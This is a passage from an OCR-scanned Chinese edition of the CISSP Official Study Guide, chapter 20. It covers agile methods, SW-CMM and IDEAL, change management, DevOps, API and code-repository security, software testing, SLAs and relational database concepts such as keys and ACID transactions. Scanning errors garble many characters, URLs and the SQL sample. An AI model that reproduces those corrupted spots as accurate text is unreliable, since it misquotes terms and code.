17 位敏捷开发方法的先驱在 200 1 年聚集在一起 ， 制作了 一份名为 "敏捷开发宣言 " 的文档
(http://agilemanifesto.org) ， 这份文档声 明了这种敏捷开发方法的核心理念:
我们正在发现更好的方法以开发软件， 通过这样做和帮助他人这样做。 通过这项工作 ， 我们可
以 获得以 下价值:
个体与 交王重于过程和工具
有效的软件重于完整的文档
客户 合作重 于合同谈判
响应变更重 于遵循计 划
也就是说， 虽 然有价值的条 目 在右边， 但我们 更重视条 目 的 左边。
" 敏捷宣言" 还定义了 基础理念的 12 条原则 ， 可查看 h即:// agi1emanifesto.org/principles.html。
在 " 敏捷宣言" 中所说的 1 2 条原则是 :
• 我们的 最高优先级是通过早期和持续交付有价值的软件来满足客户 。
• 欢迎不断变化的需求 ， 甚至在开发后 期 。 敏捷过程利用 变化为客户取得竞争优势 。
• 在几星期到几个月 的时间里 以较短的时间， 频繁地提供能用 的软件。
• 业务人 员 和开发人员在整个项 目 过程中， 每天都要在一起工作 。
• 围绕着积极的个人建立项 目 。 给他们所需要的环境和支持， 并且相信他们能够完成这项工作。
597
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CISSP 官方学 习指南(第 7 版)
• 在开发团队中传递信息的最有效率和最优效果方法是面对面交谈。
• 有效的软件是进度的首要衡量标准。
• 敏捷过程促进可持续开发 。 赞助商、 开发者和用户 应该始终保持同一个步调 。
• 持续关注技术的卓越性和 良好的设计， 能够提高敏捷性。
• 简单一一最大化工作量的艺 术是没有的一一是最重要的 。
• 最好的架构、 需求和设计源于 自 组织团队。
• 在团队内部定期思考如何变得更有效， 并按这样来修正及优化 自 身的行为。
敏捷开发方法在软件圈里有快速发展的势头， 并且有很多变种， 包括 Scrum(迭代式增量软件开
发过程)、 敏捷统一过程(Agile Unified Process ， AUP) 、 动态系统开发模型(Dynarnic System
Development ModeL DSDM)和极限编程(Extreme Programming， XP)。
4. 软件能力成熟度模型
Carnegie Mellon 大学的软件工程学院(SEI)提 出 了 软件能力成熟度模型(So仕ware Capability
Maturity Model， 缩写为 SW-CMM、 C岛位4或 SC.r-.也1)， 这种模型主张所有从事软件开发的组织都依
次经历不同的成熟阶段。 SW-CMM 描述了支持软件过程成熟度的原则与惯例， 目 的是: 通过实现
从特别混沌的过程到成熟的、 有纪律的软件过程的发展路径， 从而帮助软件组织改善软件过程的成
熟度和质量。 SW-CMM 背后 的 思想是软件的质量依赖于其开发过程的质量。
SW-CMM 具有下列阶段:
第1阶段 : 初始级 在这个阶段， 常常可以发现在无组织的工作模式中有很多努力工作的人。
通常 ， 这个阶段几乎没有或完全没有定义软件开发过程。
第 2 阶段 : 可重复级 在这个阶段， 出 现基本的生命周期管理过程。 开始有组织地重用代码，
而且类似的项 目 期望具有可重复的结果。 SEI 将用于这个级别的主要处理范围定义为 : 需求管理、
软件项 目 计划编制、 软件项 目 跟踪和监督、 软件转包合同管理、 软件质量保证和软件配置管理。
第3阶段 : 定义级 在这个阶段， 软件开发人员依照一系列正式的、 文档化的软件开发过程进
行操作。 所有开发项 目 都在新的标准化管理模型的制约下进行。 SEI 将用于这个级别的主要处理范
围定义为: 组织处理中心、 组织处理定义、 培训计划 、 综合的软件管理、 软件产品工程、 团体之间
的协调和对等复审 。
第4阶段 : 管理级 在这个阶段， 软件处理过程的管理进入下一个级别。 定量衡量被用来获得
对开发过程的详细 了解 。 SEI 将用于这个级别的主要处理范固定义为: 定量处理管理和软件质量
管理。
第5阶段 : 优化级 在优化的组织中 ， 会采用一个继续改进的过程。 成熟的软件开发过程已经
确立， 可以确保为了 改善未来的结果将一个阶段的反馈返回给前一个阶段。 SEI 将用于这个级别的
主要处理范围定义为 : 缺陷预防、 技术更改管理和过程更改管理。 耍了 解有关软件能力成熟度模型
的更多信息， 可 以参见 SEI 的 Web 站点www.sei.cmu. edu。
5. I DEAL 模型
SEI 还为软件开发确立了 IDEAL 模型， 这种模型实现了许多 SWαm属性。 IDEAL 模型具有
下列 5 个阶段:
1 : 启动 在 IDEAL 模型的启动阶段， 概述更改的业务原因 ， 为举措提供支持， 以及准备好恰
当 的基础设施。
第 20 章 软件开发安全
2 : 诊断 在诊断阶段， 工程师分析组织的当前状态 ， 并且为更改给出 一般性建议。
3 : 建立 在建立阶段， 组织采用诊断阶段的一般建议， 并且开发帮助实现这些更改的具体动
作计划。
4 : 行动 在行动阶段， 停止 " 讨论" 开始 "执行"。 组织开发解决方案， 随后测试、 改进和实
现解决方案。
5 : 学 习 与任何质量改进过程一样 ， 组织必须不断分析其努力的结果， 从而确定是否 己实现
期望的 目 标， 必要时建议采取新的行动 ， 使组织重返正轨。
IDEAL 模型如图 20.4 所示。
学习
图 20.4 IDEAL 模型
SW-CMM 和 IDEAL 模型的记忆方法
为 了 帮助记忆 sw-ct-.制和 IDEAL 模型 的 10 个级别名 的首字母(ll DR ED AM LO)， 可以想象
一下正坐在斗忡病 医生办公室的长沙发上说着: "1...1， Dr.Ed， am lo(w)"。 如果能够记住这条短句 ，
那 么 就可以抽取这些级别名 的首字母。 如果将这些字母排成两 列 ， 那么就可以按照顺序重构两个系
统的级别名 。 如下所示， 左边一列 字母是 IDEAL 模型 ， 右边一列 字母则表示 sw-c扎也4各级别 的首
字母·
lnitiating(初始
Diagnosing(诊断)
Establishing(建立)
Acting(行动)
Leaming(学习 )
lnitiating(初始)
Repeatable(可重复)
Defined(定义)
Managed(管理)
Optimized(优化)
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CISSP 官方学习指南(第 7 版)
20.1 .4 甘特图 与 PERT
甘特图是一种显示不同时间项 目 和调度之间相互关系的条形图， 提供了帮助计划、 协调和跟踪
项 目 中特定任务的调度图表 。 图20.5给出 了 甘特 图 的一个示例 。
ID 星期 任务名称
1 121314 1 5161718 19110111 12 13 14 15116 17 18119
执行初始设计
2
价格设计
3
预定材料
4
产品测试 1/飞 �
5
发布 W 古
图 20.5 甘特图
计划评审技术(program Evaluation Review Technique， PE盯)是一种项 目 调度工具， 这种工具被
用于在开发中判断软件产品 的大小并且为风险评估计算标准偏差(Standard Deviation， SD)o PERT 将
估计的每个组件的最小可能大小、 最可能的大小 以及最大可能大小联系在一起。 PERT 被用于直接
改进项 目 管理和软件编码， 以便开发更有效的软件。 随着编程和管理能力得到改善， 软件的实际生
成大小应当更小。
20.1 .5 变更和配置管理
一旦软件发布到生产环境， 用户必然会请求增加新功能、 修正 bug 以及对代码的其他更改。 正
像组织开发软件的严密过程一样， 同样也必须以有组织的方式管理所请求的更改。 这些变更必须被
记录到 中 央存储库 ， 以 支持将来的 审计 、 调查和分析需求。
将变更管理作为 安全工具
在受控的数据 中 心环境中监视系统时， 豆豆管理(又称为控制管理)扮演 了 重要的 角 色。 本书 的
一位作者最近与一个组织一起工作， 将变更管理作为一种能够检测对计算系统进行非投权史改的主
要组件来使用 。
在本章中， 你将会了解到文件完整性监控工具(例如， Tripwire)女口何允许监控系 统的变化。 这个
组织使用 Tripwire 来监控数百 台 生产服务器。 然而， 该组织很快发现难以应付由 于正常活动导致的
文件修改警告。 该作者与组织一起工作， 希望调整 Tripwire监控策略并集成它们到 支史管理流程中 。
此时， 所有的 Tripwire 警告都被集中 至监控中心， 监控中 心的管理员 将这些警告与 支史许可联系 在
一起。 只有在安全团 队确 定某个变更并不关联任何认可的变更请求时， 系 统管理员 才会接收到警告。
这种方式大大减少 了 管理员检查文件完整性所花费的时间， 并且为安全管理员 改进了 安全工具
的有效性。
第 20 章 软件开发安全
这种变更管理流程有三个基本组件:
请求控制 请求控制过程提供了 一个有组织的框架， 在这个框架内， 用户 可以请求变更， 管理
者可 以进行成本/效益分析 ， 开发人员可 以优化任务。
变更控制 开发人员使用变更控制过程来重新创建用户遭遇的特定情况并且分析能够进行弥补
的适当变更。 变更控制过程也提供了 一个有组织的框架。 在这个框架内 ， 多个开发人员可 以在部署
到生产环境之前创建和测试某个解决方案。 变更控制包括: 遵守质量控制约束， 开发用于更新或更
改部署的工具， 正确记录任何编码变化， 以及将新代码对安全性的 负面影响最小化。
发布控制 一旦完成变更， 它们就必须通过发布控制过程来进行发布认可。 发布控制过程中一
个必不可少的步骤是: 复核并确保更改过程中作为编程辅助设计插入的任何代码(例如， 调试代码和
/或后门)， 在发布新软件产品之前都已被删除。 发布控制还应当包括验收测试， 从而确保对终端用
户 工作任务的任何更改都是可理解的和有用 的 。
除了更改控制过程之外， 安全管理员还应当意识到配置管理的重要性。 配置管理过程用于控制
整个组织范围内使用 的软件版本， 并且正式跟踪和控制对软件配置的更改。 这个过程具有下列 4 个
主要组件 :
配置标识 在配置标识过程中， 管理员记录整个组织范围 内 的软件产 品 的配置。
配置控制 配置控制确保对软件版本的更改要与更改控制和配置管理策略一致。 只 有符合这些
策略的授权分发才能够执行更新操作 。
配置状态统计 用 于跟踪所有发生 的授权更 改的正规过程。
配置审计 进行定期的配置审计能够确保实际的生产环境与统计记录一致， 以及确保没有发生
未授权的配置变更。
总之， 变更控制与配置管理技术一起构成了 软件工程体系的重要部分， 并且能够防止组织遭遇
与开发相关的安全性 问题。
20. 1 .6 DevOps 方法
最近， 许多技术专业人士意识到， 在软件开发、 质量保证和技术操作这些主要的 IT 职能之间存
在脱节的情况。 这些职能， 通常配备给不同类型的个人， 并且还位于不同 的组织， 通常彼此冲突。
这种冲突导致在创建代码、 测试和部署到生产环境中 的长时间延迟。 当 问题出现时， 团 队不是一起
合作解决 问题 ， 而是经常 " 踢皮球 "， 这导致官僚作风。
DevOps 方法通过将三种职能集中在一个操作模型中来解决这些问题。 DevOps 这个词是开发
(Development)和操作(Op巳:rations)的组合， 表示这些功能必须合井和合作才能满足业务需求。 图 20.6
中 的模型说 明 了 软件开发、 质量保证和 IT 操作的重叠性。
DevOps模型与敏捷开发方法紧密配合， 旨在显著地缩短开发、 测试和部署软件更改所需的时间。
虽然传统方法常常导致主要软件部署很少， 或许每年一次， 但是使用DevOps模型的组织通常每天部
署代码多次 。 一些组织甚至努力实现连续部署的 目 标， 其中代码可以每天部署几十甚至几百次。
注意 :
如果有兴趣学 习 关于 DevOps 更多 的内容， 作者极力推荐一本书给大家， 书名叫作 ThePhoenix
P吨iect: A Novel αbout JT，DevOps，and Helping Your Business Wìn (IT Revolution Press，2013)。 这本书 以 引
人入胜的 小说形 式呈现 了 DevOps 案 例 ， 分享 了 DevOps 战略。
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CISSP 官方学习指南(第 7 版)
π 操作
图 20.6 DevOps 模型
20.1 .7 应用编程接 口
尽管早期的 Web 应用程序通常是处理用户请求和提供输出 的独立系统， 但现代的 Web 应用程
序越来越复杂， 它们通常包括多个不同的 Web 服务之间 的交互。 例如， 一个零售网站可能会利用一
个外部信用卡处理服务， 允许用户在社交媒体上分享他们的采购信息， 与运输供应网站集成， 并在
其他网站上提供推荐计划 。
为 了使这些跨站点功能正确工作， 网站必须相互交互。 许多组织为了 这个 目标提供应用编程接
口 (API)0 API 允许应用程序开发人员绕过传统的网页， 井通过函数调用直接与底层服务进行交互。
例如， 一个社交媒体 API 可能包括 以下一些 API 函数调用 :
• 发布状态
• 关注用 户
• 取消关注的用户
• 喜欢/喜爱的发布
提供和使用 API 为服务提供商创造了 巨大的机会， 但也带来了一些安全风险。 开发人员必须意
识到这些挑战， 并在创建和使用 API 时解决这些挑战。
首先， 开发人员必须考虑认证要求。 一些 APL 比如允许检查天气预报或产品库存的 APL 可
以 向公众提供， 并且不需要任何认证就可以使用 。 其他 APL 例如那些允许修改信息、 下订单或访
问敏感信息的 APL 只 限于特定用户并且依赖于安全认证。 API 开发人员必须知道何时需要身份认
证， 并确保他们认证每个 API 调用 的凭据和授权。 这种认证通常通过为授权的 API 用户提供一个被
每一个 API 调用通过的复杂 API 密钥来完成。 后端系统在处理请求之前验证此 API 密钥， 确保进行
请求的系统被授权进行特定的 API 调用 。
警告 :
API 密钥就像密码， 应该被视为 非常敏感的信息。 它们应该总是存储在安全位直， 并且仅在加
密的通信信道上传输。 如果有人获得对 API 密钥的访问权限， 他们就可以 与 Web 服务进行交互， 就
像他们是你一样 !
API 也必须彻底测试安全缺陷， 就像任何 Web 应用程序一样。 将在下一节中 了 解更多信息。
第 20 章 软件开发安全
20. 1 .8 软件测试
作为开发过程的一部分， 组织在内部分发(或市场发布)任何软件之前都应当对其进行彻底测试。
进行测试的最佳时间是设计模块之时。 换句话说， 用 于测试某个产品 的机制和用于研究该产品的数
据集应当与产 品本身同时进行设计。 编程团队应当开发特殊的数据测试组以及预先知道正确的输出
结果， 通过这些数据测试组能够测试软件所有可能的执行路径。
应该执行的多个测试的其中一个是合理性检查。 合理性检查确保匹配的符合指定指标的返回值
在合理的范围内。 例如， 一个手自予计算一个人的最佳体重， 并返回 612 磅的值， 这肯定是一次失败
的 合理性检查 !
此外 ， 在进行软件测试时， 应该测试软件产品如何处理正常和有效的输入数据、 不正确的类型、
越界值以及其他界限和/或条件。 真实的工作量可能提供最佳的压力测试。 但是， 因为一个缺陷或错
误就会导致违背测试数据的完整性或机密性， 所以不应该使用真实的或实际的现场数据进行测试，
在早期开发阶段尤其如此。
测试软件时， 应该应用与组织其他方面所使用 的相同的责任分离规则 。 换句话说， 应当指定编
程人员 以外的人员进行软件测试， 从而避免利益冲突， 并且能够保证最后的产品更成功。 在第三方
测试软件时， 必须确保第三方执行客观的和无偏见的检查。 第三方测试允许更广泛和更彻底的测试，
并且能够防止 由于编程人员 的偏见和爱好而影响测试结果。
可 以使用 下列三种软件测试方法:
自盒测试 白盒测试检查程序的内部逻辑结构并逐行执行代码， 从而分析手里字是否存在潜在的
错误。
黑盒测试 通过提供广泛的输入场景和查看输出 ， 黑盒测试从用户的角度检查程序。 黑盒测试
人员并不访问内 部的代码。 在提交系统之前进行的最终验收测试就是黑盒测试的常见示例 。
灰盒测试 灰盒测试组合了上述两种测试方式， 并且是一种流行的软件验证方式。 在这种测试
方式中 ， 测试人员着手从用户的角度处理软件， 分析输入和输出。 测试人员也会访问源代码， 并且
使用源代码来帮助设计测试。 不过， 测试人员在测试期间 并不分析程序的内部工作原理。
除了评估软件的质量， 程序员和安全专业人员应仔细评估软件的安全性， 以确保满足组织的安
全要求。 这对于暴露给公众的 Web 应用程序尤其关键。 有两种专门用于评估应用程序安全性的测试
类别 :
静态测试 静态测试通过分析源代码或编译的应用程序来评估软件的安全性， 而不需要运行软
件。 静态分析通常涉及使用 自 动化工具来检测常见的软件缺陷， 如缓冲区溢出(关于缓冲区溢出的更
多 内容， 请参见第 2 1 章 "恶意代码与应用攻击 " )。 在成熟的开发环境中 ， 应用程序开发人员可以
访 问静态分析工具 ， 并在整个设计/构建/测试过程中 使用它们。
动态测试 动态测试在运行时环境中评估软件的安全性， 并且通常是部署了 由其他人编写的应
用程序的组织的唯一选择。 在这些情况下 ， 测试人员通常无法访问基础的源代码。 动态软件测试的
常见示例是使用 Web 应用程序扫描工具来检测是否存在跨站脚本、 SQL 注入或 Web 应用程序中的
其他缺陷 。 在 生产环境下 的动态测试应始终仔细考虑 以避免意外中断服务。
正确地实施软件测试是项 目 开发过程中的一个关键要素。 通常在商业和内 部软件中发现的许多
常见错误和疏忽都可 以消除。 保持测试计划和结果作为系统永久性文档 的一部分。
603
CISSP 官方学 习 指南(第 7 版)
20. 1 .9 代码仓库
软件开发需要共同的努力 ， 大型软件项 目 需要开发人员 团队可以同时承担代码的不同部分的工
作 。 使情况进一步复杂化的事实是 ， 这些开发者可能在地理上分散在世界各地。
代码仓库提供了 支持这些协作的几个重要功能。 首先， 它们作为开发人员放置源代码的中心存
储点。 此外， 代码仓库(如 GitHub、 Bitbucket 和 SourceForge)还提供版本控制、 错误跟踪、 Web 托管、
发布管理和支持软件开发的通信功能。
代码仓库是促进软件开发的出色的协作工具 ， 但它们也有自 己的安全风险。 首先， 开发人员必
须适当地控制对仓库的访问。 一些仓库， 如支持开源软件开发的仓库， 可能允许公众访问。 其他仓
库， 如托管含有商业机密信息的代码， 可能受到更多限制， 并限制对授权开发者的访问 。 仓库所有
者必须仔细设计访 问 控制 ， 仅允许适当的用户读取和/或写入访问权限。
敏感信息和代码仓库
开发人员 必须注意 不要在公共代码仓库 中 包含敏感信息， 这尤其适用 于 API 密钥 。
许 多 开 发人员使用API 来 访 问 基础 设 施服务提供商的基础功能， 1f'H I口 Amazon Web
Services(A WS)、 Microsoft Azure和Google Compute Engine. 这提供了 巨 大的好处， 使开发人员 能够
快速配直服务器 、 修改网 络配直和使用 简 羊的API调用 来分配存储。
当 然， laaS 提供商对这些服务收费 。 当 开发人员 准备一台服务器时， 就会触发该服务器每小 时
收费， 直到 它被关闭。 用 于创 建服务器的 API 密钥将服务器绑定到特定的用户 账户(和信用 卡 ! )。
如果开发人员 编写 包含API 密钥的代码， 然后将 API 密钥上传到公共存储库， 贝IJ世界上的任何
人都可以访问他们的 API 密钥。 这九许任何人创建 IaaS 资源， 并且费用 由原开发者的信用卡支付。
在进一步恶化的情况下， 黑客已经写 了机器人， 四处搜索公共1v冯仓库中 泄露的 API 密钥。 这
些机器人可以在几秒钟内检测到无意 中发布的 密钥 ， 并九许黑客在开发人员 甚至知道他们的4如吴之
前快速提供大量的 计算资源 !
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20. 1 .10 服务等级协议
使用服务等级协议(SLA)是越来越流行的方式， 是被服务提供商和服务供应商都认同的确保组
织向 内部和/或外部客户提供服务， 并保持适当服务水平的一种方法。 对于组织的持续生存能力 ， 把
所有的数字电路， 应用程序、 信息处理系统、 数据库或其他关键组件都置入 SLA 是明智的， 也是至
关重要的 。 SLA 中 通常涉及 以下 问题 :
• 系统正常运行时间(如总工作时 间 的百分比)
• 最大连续停机时 间(以秒/分钟为单位等)
• 高峰负荷
• 平均负荷
• 责任诊断
• 故障切换时间(如冗余到位)
如果不能维持协议， 服务级别协议通常还包括财务和其他合约商讨好的补救措施。 例如， 如果
关键电路停机超过 1 5 分钟 ， 服务提供商可能 同 意放弃该 电路上的所有费用一周 。
第 20 章 软件开发安全
20.1. 11 软件采购
企业使用 的大多数软件都不是内部开发的， 而是从供应商那里采购。 这些软件中的一些被购买
并运行在组织管理的服务器上， 无论是在内部还是在基础设施即服务(1坦白环境中 。 其他软件是以软
件即服务(SaaS)方式通过 Web 浏览器从互联网购买和提供的。 大多数组织根据业务需求和软件可用
性 ， 结合使用这些方法。
例如， 组织可能会以两种方式来使用 电子邮件服务。 他们可能购买物理或虚拟服务器 ， 然后在
上面安装电子邮件软件， 如 Microsoft Exchange。 在这种情况下， 组织从 Microsoft 购买 Exchange 许
可证， 然后安装、 配置和管理电子邮件环境。
作为一种替代方案， 组织可能会选择将电子邮件完全外包给 Google、 Microsoft 或其他供应商。
然后， 用户通过他们的 Web 浏览器或其他工具访问 电子邮件， 直接与供应商管理的电子邮件服务器
进行交互。 在这种情况下， 组织只 负责创建账号和管理某些应用程序级的设置。
在任何一种情况下， 安全都应该被关注。 当组织购买和配置软件本身时， 安全专业人员必须了
解软件的正确配置以满足安全 目 标。 他们还必须对安全公告和补丁保持警惕， 以纠 正新发现的漏洞。
不履行这些义务可能会导致不安全的环境。
在 SaaS 环境中 ， 大多数安全责任由供应商负责， 但是组织的安全人员 也不能逃脱责任。 虽然他
们可能不负责同样多的配置， 但他们现在负责监控供应商的安全。 这可能包括审计、 评估、 漏洞扫
描和 旨 在验证供应商是否保持适当控制 的其他措施。
20.2 创 建数据库和数 据仓储
几乎所有的现代型公司都维护着一些类别的数据库， 它们包含操作的关键信息 ， 例如用户的联
系信息、 订单跟踪数据、 人事和福利信息或一些敏感的商业机密。 许多这样的数据库一般都包含属
于用户秘密的个人信息 ， 如信用卡使用活动、 旅行习惯、 商店购物和电话记录。 由于对数据库系统
依赖程度增加， 因此信息安全专家必须确保具备适当的安全控制， 从而保护数据免受未授权的访问、
篡 改或破坏。
接下来， 我们将讨论数据库管理系统(DBMS)的体系结构 、 各种不同 的 DBMS 类型及特性。 随
后还会讨论数据库安全特性， 包括多实例 、 ODBC、 聚合、 推理 以及数据挖掘 。
20.2.才 数据库管理系统的体系结构
尽管 目 前存在多种可用 的数据库管理系统ρBMS)， 但当今的大多数系统都使用一种被称为关
系型数据库管理系统(RDBMS)的技术。 因此， 下面的内容主要关注于关系数据库 。 不过， 我们首先
要讨论两个重要的 DBMS 体系结构 : 层次式数据库和分布式数据库 。
1 . 层次式和分布式数据库
层次式数据模型将关联的记录和字段组合为一个逻辑树结构。 运会导致一个 " 一对多 " 数据模
型 ， 其中 的每个节点可能不具有子节点， 也可能具有一个或多个子节点， 但是都只具有一个父节点。
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CISSP 官方学习指南(第 7 版)
图 20.7 说明了一个层次式数据模型 。
首席执行官
图 20.7 层次式数据模型
图 20.7 中的层次式数据模型是一家公司的组织结构 图。 注意， 这个示例适用 " 一对多" 数据模
型 。 某些员工拥有一名部下， 某些员工拥有多名部下， 另外一些员工则没有部下 。 然而， 每位员 工
都只拥有一位经理。 层次式数据模型的其他模型包括 NCAA 的 "三月 疯 " 对垒系统以及在互联网上
使用 的域名系统(DNS)记录的层次化分布 。 层次数据库以一种分层的方式来存储数据， 并且对于适
合该模型的专用应用程序是有用的。 例如， 生物学家可能会使用一个层次数据库存储标本数据， 在
那个领域 内 根据 kingdom/phylum/c1ass/orderlfamily/genus/species 层次模型。
分布式数据模型将数据存储在多个数据库中 ， 不过这些数据库是逻辑连接的。 即使数据库由通
过互联网相互连接的许多部分组成， 用户也仍然将数据库理解为单个实体。 每个字段都具有许多子
宇段和父宇段。 因此， 分布式数据库的数据映射关系是多对多 。
2. 关系数据库
关系数据库是由 行和列组成的平面二维表。 实际上， 每个表看起来类似一个电子表格文件。 行
列结构提供 了一对一数据映射关系。 关系数据库的主要构件是表(也被称为关系)。 每个表都包含一
组相关 的记录。 例如， 某个销售数据库可能包含下列表:
• Customers 表 ， 包含组织中所有客户 的联系信息。
• Sales Reps 表 ， 包含组织中销售人员 的 身份信息 。
• Orders 表 ， 包含每个用户 所下订单的记录。
面向对象编程和数据库
对象-关 系数据库结合 了 关系数据库和面向对象编程功能。 在真正的 面向对象数据库(OODB)中 ，
由 于方便了 千》萄重用 和故障处理分析， 并减少 了 整体维护工作量， 因 而带来了好处。 此外， 与 其他
数据库类型相比， OODB 史适合支持涉及多媒体、 CAD、 视颇、 图形和专家系统的复杂应用程序 。
上述每个数据表都包含许多属性或宇段(field)。 每个属性都对应表中 的某个列。 例如， Customers
表可能包含用于公司名 、 地址、 城市、 州 、 邮政编码和 电话号码的不同列。 每个用户 都具有自己的
记录或元组(阳ple)， 这些记录或元组由表中的某行表示。 关系中行的数量被视为基数(cardinality)， 列
的数量被视为度(d巳g巳巳)。 关系的域(domain)是一组属性可以来用 的允许值。 图 20.8 说明了某个关系
数据库 中 Customers 表 的示例 。
第 20 章 软件开发安全
图 20.8 关系数据库的 Customers 表
在这个示例中 ， Customers 表的基数为 3(对应于表中的 3 行)， 度为 8(对应于表中 的 8 列)。 在正
常业务过程中 ， 例如当销售代表添加新客户时， 表的基数发生变化是很常见的。 表的度通常不会频
繁 改变 ， 通常需要数据库管理员 的干预才能变。
提示 :
为 了 记住基数(cardinality)的概念， 可以想象一下摆在桌上的一副纸牌， 每张牌(card 是 cardinality
的前 4 个字母)就是一行。 为 了 记住度(degr四)的概念， 可以想象一下挂在墙上的温度计(换句话说，
作 为温度计测量单位的度数 degree)。
定义表之间的关系以标识相关记录。 在此例中 ， Customers 表和 Sales Rep 表之间存在关系， 因
为每个客户 都被分配 了 一个销售代表， 而每个销售代表被分配给一个或多个客 户 。 此关系 由
Customers 表中的 Sales Rep 宇段/列反映， 如图 20.8 所示。 此列中 的值指的是 Sales Rep 表 中包含的
销售代表 D 宇段(未显示)。 此外， Customers 表和 Orders 表之间也可能存在关系， 因 为每个订单必
须与客户相关联， 并且每个客户与一个或多个产品 订单相关联。 Orders 表(未显示)可能包含一个包
含客户 ID 值 的客户宇段。
记录可以使用多种键进行标识。 简单地说， 键是表中宇段的子集， 可 以用于唯一标识记录。 在
希望相互引用这些信息时， 它们还被用 于连接表。 你应当熟悉下列三种键:
候选键 可 以被用于唯一标识表中记录的属性子集。 在 同一个表中， 对于组成一个候选键的所
有属性而言， 任何两条记录的这些属性值都不完全相同 。 每个表都可能有一个或多个候选键， 它们
从列 的头部选出 。
主键 从表的这组候选键中选出的用来唯一标识表中记录的键被称为主键。 每个表都只有一个
主键， 由 数据库设计者从这组候选键中选出。 通过不准许利用相同主键插入多个记录， RDBMS 强
制实施了 主键的唯一性。 在 图 20.8 所示的 Customers 表 中 ， CompanyID 很 可能就是主键。
外键 外键被用于强制在两个表之间建立关系(也称为参照完整性)。 参照完整性确保: 如果一
个表包含一个外键， 那么它对应于关系中另一个表内仍然存在的主键。 需要弄清楚的是， 没有任何
记影元组/行包含对不存在的记和元却行的主键的引用。 根据前面的描述。 图 20.8 中 的 Sales Rep
宇段是参照 Sales Reps 表中主键的外键。
所有关系数据库都使用一种标准语言， 即 结构化查询语言(SQL)， 从而为用户存储、 检索和更
改数据， 以及管理控制 DBMS 提供了 一致的接 口 。 每个 DBMS 供应商实现的 SQL 版本略有不同(如
Microsoft 公司的 Transact-SQL 和 Oracle 公司 的 PLlSQL)， 但是都支持一个核心特性集。 SQL 的主
要安全特性是其授权的粒度 。 这意味着 SQL 允许为每个极细的级别设置许可。 能通过表、 行、 列 ，
甚至是些情况下单独的单元来限制用户访 问 。
数据库范式
数据库开发人员 致力 于创建组织有序的、 有效的数据库。 为 了 帮助完成这个 目 标， 开发人员 定
义 了 若干被称 为 范式的数据库组织级别 。 使数据库表遵从范式的过程被称为 规范化。
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CISSP 官方学 习指南(第 7 版)
尽管存在许多 范式， 但是其中 最常见的三种形式是: 第 一范式(lNF)、 第二范式(2NF)以及第三
范式。NF)。 这三种形式都添加 了 下面 的需求: 减少表中 的 冗余， 消除告都吴放直的数据， t丸行其他许
多 内 直处理任务。 范式是渐进的 ， 换句话说， 要采用 2NF 格式， 首先必须遵从 lNF 格式; 要采用
3NF 格式， 首先必须采用 2NF 格式。
数据库表的范式细节超出 了 CISSP 考试的范围 ， 但是某些 Web 资源、 能够帮助更详细地理解范式
范式需求。 例如， 读者可以参考站点 h即:lldatabases.about.∞m/odIspeci:fi叩roducts/a/ normalization.htm
上 "Database Normalization Basics" 的相关 内 容。
SQL 为管理员 、 开发人员和终端用户与数据库交互提供了必需的完整功能。 事实上， 目 前流行
的图形数据库界面只不过是对 DBMS 的标准 SQL 接 口进行了修饰。 SQL 本身被分为两个截然不同
的组件: 数据定义语言(DDL)， 允许创建和更改数据库的结构(数据库的结构被称为模式); 数据操纵
语言(DML)， 允许用户 与模式 内 包含 的数据交互。
20.2.2 数据库事务
关系数据库支持事务的显式和隐式使用 ， 从而确保数据的完整性。 每个事务都是 SQL 指令的离
散集， 作为一个组的这些 SQL 指令要么成功 ， 要么失败。 事务的一部分成功而另一部分失败的情况
不可能出现。 以银行内两个账户之间 的转账为例 。 使用 下面 的 SQL 代码， 可 以先在账户 100 1 中增
加 250 美元， 然后在账户 2002 中 减少 250 美元:
BEGIN TRANSACTION
UPDATE accounts
SET ba1ance = ba1ance + 250
WHERE a ccount number = 1001;
UPDATE accounts
SET ba1ance = ba1ance - 250
WHERE a ccount number = 2002
END TRANSACTION
设想一下这两条语句未作为事务的部分被执行而是被分别执行的情况。 如果数据库在第一个事
务完成和在第二个事务完成之间的某个时间点出现失败， 那么账户 100 1 中增加了 250 美元， 但是
账户 2002 中 的资金没有被相应减少。 这 250 美元就是凭空多 出的! 这个简单的示例强调了面向事务
的操作的重要性。
一个事务成功完成时， 这个事务己被提交给数据库， 并且不能取消。 事务的提交可以是显式的 ，
也就是使用 SQL 的 CO岛也但T 命令; 可 以是隐式的， 也就是成功到达事务结束进行提交。 如果必须
中止事务， 那么可以显式地使用 ROLLBACK 命令进行回被操作， 也可 以是硬件或软件故障引 起的
隐式回滚。 当一个事务被回滚时， 数据库会将 自 身还原至这个事务开始前的状态。
所有的数据库事务都具有 4 个必需的特征: 原子性、 一致性、 隔离性以及持久性。 这些属性合
称为 ACID 模型 ， 这是数据库管理系统开发中 的一个关键概念。 下面简要介绍 了 这 4 种需求:
原子性 数据库事务必须是原子的， 也就是说， 必须是 "要么全有， 要么全无" 的事务。 如果
事务的任何部分失败 ， 那么整个事务都会被回攘， 就像什么 也 没发生一样 。
一致性 所有事务都必须在与数据库所有规则(例如所有记录都具有唯一的主键)一致的环境中
第 20 章 软件开发安全
开始操作。 事务结束时， 无论事务本身操作期间是否违反了数据库的规则， 数据库都必须再次与这
些规则一致。 其他任何事务都不能利用某个事务执行期间 可能产生的任何不一致数据 。
隔离性 隔离性原则要求事务彼此之间独立操作。 如果数据库接收到两个更改相同数据的 SQL
事务， 那么在一个事务被允许更改相同数据之前 ， 另一个事务必须完全结束。 隔离性能够防止一个
事务处理 另一个事务中途生成的无效数据。
持久性 数据库事务必须是持久的 ， 也就是说一旦被提交给数据库， 就会被保留下来。 数据库
通过使用 备份机制(例如事务 日 志)确保持久性。
接下来将对数据库开发人员 和管理员所关 心的 多种具体安全问题进行讨论。
20.2.3 多级数据库的安全性
你曾经在第 1 章学习过， 基于分配给数据客体和单独用户 的安全性标签， 很多组织使用数据分
类方案强制实施访问控制限制。 当得到组织安全策略的委托授权时， 这种分类概念还必须被延伸至
组织的数据库。
多级安全性数据库包含大量不同分类级别的信息， 它们必须对分配给用户 的标签进行验证， 并
且根据用户 的请求只提供适当的信息 。 然而， 考虑到数据库的安全性， 这种概念显得稍微复杂了
一-止二匕
。
要求多级安全性时， 管理员和开发人员致力于使数据满足各种不同安全需求是必不可少的。 将
分类级别和刀或 " 知其所需 " 需求不同的数据混合在一起被称为数据库污染， 这是一个重大的安全风
险 。 通常 ， 管理员会通过部署可信前端为旧式的或不安全的 DBMS 添加多级安全性。
⑤ 真实场景
使用视图限制访问
在数据库中 实现多级安全性的另 一种途径是使用数据库视图 。 视图只不过是将数据库表提供给
